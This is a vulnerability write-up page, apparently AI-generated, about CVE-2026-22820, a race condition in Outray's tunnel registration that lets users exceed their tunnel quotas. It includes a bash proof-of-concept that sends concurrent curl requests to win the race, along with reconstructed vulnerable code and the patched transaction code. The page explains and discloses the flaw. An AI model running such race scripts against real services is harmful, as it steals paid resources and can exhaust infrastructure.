CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22820
6.30.04%

Tunnel Vision: Racing Outray for Infinite Infrastructure (CVE-2026-22820)

Alon Barad
Alon Barad
Software Engineer

Feb 20, 2026·7 min read·1 visit

PoC Available

Executive Summary (TL;DR)

Outray versions prior to 0.1.5 contain a race condition in the tunnel registration endpoint. By spamming requests simultaneously, an attacker can bypass the 'max tunnels' check and provision more resources than their plan allows. Fixed by implementing database transactions with row-level locking.

A deep dive into a classic Time-of-Check Time-of-Use (TOCTOU) race condition in Outray, an open-source ngrok alternative. This vulnerability allows attackers to bypass subscription quotas and register an unlimited number of tunnels by exploiting non-atomic validation logic.

The Hook: Free Lunch in the Cloud

In the world of SaaS, limits are everything. You pay for 5 users, you get 5 users. You pay for 3 tunnels, you get 3 tunnels. It’s the digital bouncer keeping the riffraff (and the non-paying customers) from eating all the buffet shrimp. Outray, a nifty open-source alternative to ngrok, tries to enforce these limits just like everyone else. But as we've seen time and time again, enforcing limits in distributed systems is harder than it looks.

CVE-2026-22820 is the kind of bug that makes CFOs cry and hackers grin. It’s not a flashy remote code execution that drops a shell; it’s a logic flaw—specifically, a race condition—that turns the application's business model into Swiss cheese. The vulnerability lies in how Outray counts your active tunnels before letting you create a new one.

Imagine a vending machine that checks if you have a dollar, sees that you do, and then begins the slow mechanical process of dispensing a soda. If you’re fast enough to press the button five times between the 'check' and the 'dispense,' and the machine isn't smart enough to debit your credit immediately, you might just walk away with a six-pack for the price of one. That is exactly what's happening here, but instead of soda, we're stealing infrastructure.

The Flaw: The Space Between Second

The root cause here is a textbook Time-of-Check Time-of-Use (TOCTOU) vulnerability (CWE-367). In the computer science world, we often assume that code executes linearly and instantly. Line A runs, finishes, then Line B runs. But in a web server handling concurrent requests, 'linear' is a lie we tell ourselves to sleep at night.

The vulnerable logic in Outray's register.ts endpoint followed a pattern that is disastrously common in web development:

  1. Check: Query Redis (using SCARD) to see how many tunnels the organization currently has online.
  2. Validate: Compare that number to the maxTunnels allowed by the subscription plan.
  3. Act: If the number is low enough, insert a new tunnel record into the SQL database.

The problem is the gap between Step 1 and Step 3. It might only be a few milliseconds, but to a computer, a millisecond is an eternity. If an attacker sends ten registration requests simultaneously, all ten threads might reach Step 1 at the exact same moment. They all query Redis. They all see: "Current Tunnels: 0. Max Allowed: 1." They all say, "Looks good to me!" and proceed to Step 3.

The result? Ten tunnels are created, despite the limit being one. The database is now in an inconsistent state, the subscription limits are effectively garbage, and the developer is left wondering why their server costs just tripled.

The Code: Anatomy of a Race

Let's look at the smoking gun. While I don't have the original source file in front of me, the patch diff tells the whole story. The original code likely looked something like this pseudocode:

// VULNERABLE LOGIC
const activeTunnels = await redis.scard(`org:${orgId}:online_tunnels`);
const planLimit = await db.getPlanLimit(orgId);
 
if (activeTunnels >= planLimit) {
  throw new Error("Quota Exceeded");
}
 
// The Gap of Doom exists here
 
await db.insert("tunnels", { ...tunnelData });

This is a naive implementation. It relies on the state remaining static between the read (scard) and the write (insert). In a high-concurrency environment, state is never static.

The fix, introduced in commit 08c61495761349e7fd2965229c3faa8d7b1c1581, changes the game by moving the logic into a database transaction with aggressive locking. Here is the conceptual fix:

// PATCHED LOGIC
await db.transaction(async (tx) => {
  // Lock the subscription row for UPDATE
  // This forces other transactions to WAIT right here until we are done
  const subscription = await tx.selectFrom('subscriptions')
    .where('orgId', orgId)
    .for('update') // <--- The Magic Sauce
    .executeTakeFirst();
 
  const activeCount = await tx.selectFrom('tunnels')
    .where('orgId', orgId)
    .executeCount();
 
  if (activeCount >= subscription.maxTunnels) {
    throw new Error("Quota Exceeded");
  }
 
  await tx.insertInto('tunnels').values({ ... }).execute();
});

By using .for('update'), the database locks the specific row for the organization's subscription. If Request A acquires this lock, Request B (coming in 1ms later) hits the select statement and freezes. It cannot proceed until Request A commits or rolls back. This serializes the requests, ensuring that Request B sees the true count of tunnels only after Request A has finished its business.

The Exploit: Smashing the Door

Exploiting this does not require elite hacking tools or reverse engineering binary blobs. It requires curl and a lack of patience. The goal is to maximize concurrency. We want to jam as many requests as possible into the server's processing pipeline before the first one completes.

A simple bash script running background jobs is often enough to win the race:

#!/bin/bash
TARGET="https://api.outray.local/api/v1/register"
AUTH_TOKEN="ey..."
 
echo "Starting race..."
 
# Spawn 20 processes simultaneously
for i in {1..20}; do
  curl -X POST $TARGET \
       -H "Authorization: Bearer $AUTH_TOKEN" \
       -H "Content-Type: application/json" \
       -d '{"region": "us-east", "proto": "http"}' \
       -s &  # The ampersand puts it in the background immediately
done
 
wait
echo "Race finished. Check your dashboard."

If you run this against a vulnerable version of Outray with a 'Starter' plan (limit: 1 tunnel), you will likely see 5, 10, or even all 20 requests return a 200 OK status. When you check the dashboard, you'll see a list of active tunnels scrolling off the page, all happily forwarding traffic, all completely free of charge.

This works because the network latency and database processing time create a window—perhaps 50ms to 100ms—where the count in Redis hasn't been updated yet. In that window, you are god.

The Impact: Denial of Wallet

Why should we care? "Oh no, someone got free tunnels." While this isn't a data breach that spills credit card numbers, it falls under the category of Resource Exhaustion and Business Logic Flaws.

For a self-hosted instance, this might just mean annoying your sysadmin. But for a managed service provider offering Outray as a SaaS, this is a direct financial impact. Tunnels consume sockets, bandwidth, and memory. An attacker could automate account creation and tunnel spamming to perform a Denial of Service (DoS) attack against the infrastructure itself, exhausting ephemeral ports or crashing the database with connection limits.

Furthermore, this compromises the integrity of the application's billing logic. If your enforcement mechanism relies on code that can be bypassed by hitting 'Enter' really fast, you don't have an enforcement mechanism; you have a suggestion.

The Fix: Transactional Integrity

The fix provided by the Outray team is robust because it pushes the concurrency problem down to the layer best equipped to handle it: the database.

Databases like PostgreSQL and MySQL are built with ACID properties (Atomicity, Consistency, Isolation, Durability) in mind. By wrapping the check and the insert in a transaction and applying a FOR UPDATE lock, the application delegates the synchronization to the database engine.

To mitigation this vulnerability manually:

  1. Upgrade: Update Outray to version 0.1.5 immediately.
  2. Audit: Run a query on your database to find users exceeding their limits. SELECT org_id, COUNT(*) as c FROM tunnels GROUP BY org_id HAVING c > [limit]. You might find some users who 'accidentally' discovered this bug before you did.
  3. Learn: For developers, this is a lesson to never trust distributed state for critical limits unless you have a locking mechanism (like Redis distributed locks or SQL row locks) in place.

Official Patches

OutrayGitHub Commit fixing the race condition

Fix Analysis (1)

Technical Appendix

CVSS Score
6.3/ 10
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.04%
Top 89% most exploited

Affected Systems

Outray Tunnel Server

Affected Versions Detail

Product
Affected Versions
Fixed Version
Outray
Outray
< 0.1.50.1.5
AttributeDetail
CWE IDCWE-367 (TOCTOU Race Condition)
Attack VectorNetwork (API)
CVSS v4.06.3 (Medium)
CVSS v3.13.7 (Low)
ImpactIntegrity, Resource Exhaustion
Exploit StatusPoc Available (Trivial)
Patch Commit08c61495761349e7fd2965229c3faa8d7b1c1581

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1212Exploitation for Credential Access
Credential Access
CWE-367
Time-of-check Time-of-use (TOCTOU) Race Condition

Known Exploits & Detection

ManualConcurrency testing using curl/bash scripts to exceed quotas.

Vulnerability Timeline

Patch committed by maintainer
2026-01-13
CVE-2026-22820 assigned
2026-01-14
Listed in CISA Weekly Bulletin
2026-01-20
SentinelOne Technical Advisory published
2026-01-23

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.